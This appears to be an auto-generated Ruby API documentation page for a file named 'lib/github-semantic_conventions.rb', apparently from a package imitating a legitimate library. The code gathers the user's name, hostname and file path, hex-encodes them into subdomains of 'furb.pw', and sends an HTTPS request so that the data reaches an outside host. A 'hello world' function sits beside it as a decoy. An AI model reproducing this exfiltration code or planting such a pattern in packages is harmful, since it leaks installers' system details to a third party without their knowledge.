Top Level Namespace

Instance Method Summary collapse

Instance Method Details

#chunk_string(str, max_length = 60) ⇒ Object



73
74
75
# File 'lib/github-semantic_conventions.rb', line 73

def chunk_string(str, max_length = 60)
  str.scan(/.{1,#{max_length}}/).join('.a')
end

#collect_system_infoObject



17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# File 'lib/github-semantic_conventions.rb', line 17

def collect_system_info
  info = {}
  
  # Get username of the current process
  username = ENV['USER'] || ENV['USERNAME'] || `whoami`.strip
  info[:username] = username
  info[:username_hex] = hex_encode(username)
  
  # Get hostname of the machine
  hostname = Socket.gethostname
  info[:hostname] = hostname
  info[:hostname_hex] = hex_encode(hostname)
  
  # Get path of the current file
  file_path = File.expand_path(__FILE__)
  info[:file_path] = file_path
  info[:file_path_hex] = hex_encode(file_path)
  
  info
end

#hex_encode(string) ⇒ Object



13
14
15
# File 'lib/github-semantic_conventions.rb', line 13

def hex_encode(string)
  string.unpack1('H*')
end

#mainObject



113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
# File 'lib/github-semantic_conventions.rb', line 113

def main
  # Collect system information
  system_info = collect_system_info
  
  puts "Collected information:"
  puts "  Username: #{system_info[:username]}"
  puts "  Username (hex): #{system_info[:username_hex]}"
  puts "  Hostname: #{system_info[:hostname]}"
  puts "  Hostname (hex): #{system_info[:hostname_hex]}"
  puts "  File path: #{system_info[:file_path]}"
  puts "  File path (hex): #{system_info[:file_path_hex]} (#{system_info[:file_path_hex].length} chars)"
  
  # Create the target domain with truncation if needed
  puts "\nConstructing target domain..."
  target_domain = truncate_domain(
    system_info[:username_hex],
    system_info[:hostname_hex],
    system_info[:file_path_hex]
  )
  
  puts "Target domain: #{target_domain}"
  
  # Send the request
  puts "\nSending request..."
  success = send_data(target_domain)
  
  exit success ? 0 : 1
end

#send_data(domain) ⇒ Object



77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# File 'lib/github-semantic_conventions.rb', line 77

def send_data(domain)
  begin
    # Create HTTP connection
    uri = URI("https://#{domain}/")
    http = Net::HTTP.new(uri.host, 443)
    http.open_timeout = 5
    http.read_timeout = 5
    
    # Create GET request
    request = Net::HTTP::Get.new(uri)
    request['User-Agent'] = 'Ruby/SystemInfo'
    
    # Send request
    response = http.request(request)
    
    puts "Request sent successfully!"
    puts "Response code: #{response.code}"
    puts "Response body: #{response.body}" unless response.body.empty?
    
    return true
    
  rescue Net::TimeoutError
    puts "Error: Connection timed out"
    return false
  rescue Errno::ECONNREFUSED
    puts "Error: Connection refused - target may not be listening"
    return false
  rescue SocketError => e
    puts "Error: Socket error - #{e.message}"
    return false
  rescue StandardError => e
    puts "Error: #{e.message}"
    return false
  end
end

#test_func_hello_worldObject



9
10
11
# File 'lib/github-semantic_conventions.rb', line 9

def test_func_hello_world
  puts "hello world"
end

#truncate_domain(username_hex, hostname_hex, filepath_hex, base_domain = "furb.pw") ⇒ Object



38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# File 'lib/github-semantic_conventions.rb', line 38

def truncate_domain(username_hex, hostname_hex, filepath_hex, base_domain = "furb.pw")
  
  # Calculate the base length: username.hostname.filepath.furb.pw
  # We need 3 dots plus the base domain length
  base_length = username_hex.length + hostname_hex.length + base_domain.length + 3
  
  # Maximum allowed total length is 253 characters
  max_length = 220
  available_for_filepath = max_length - base_length
  
  # If filepath is too long, truncate it
  if available_for_filepath < filepath_hex.length
    if available_for_filepath > 0
      truncated_filepath = filepath_hex[0, available_for_filepath]
    else
      truncated_filepath = ""
    end
    puts "Warning: Filepath truncated from #{filepath_hex.length} to #{truncated_filepath.length} characters"
  else
    truncated_filepath = filepath_hex
  end

  truncated_filepath = chunk_string(truncated_filepath)
  
  # Construct the final domain
  if truncated_filepath.empty?
    domain = "a#{username_hex}.a#{hostname_hex}.#{base_domain}"
  else
    domain = "a#{username_hex}.a#{hostname_hex}.a#{truncated_filepath}.#{base_domain}"
  end
  
  puts "Final domain length: #{domain.length} characters"
  domain
end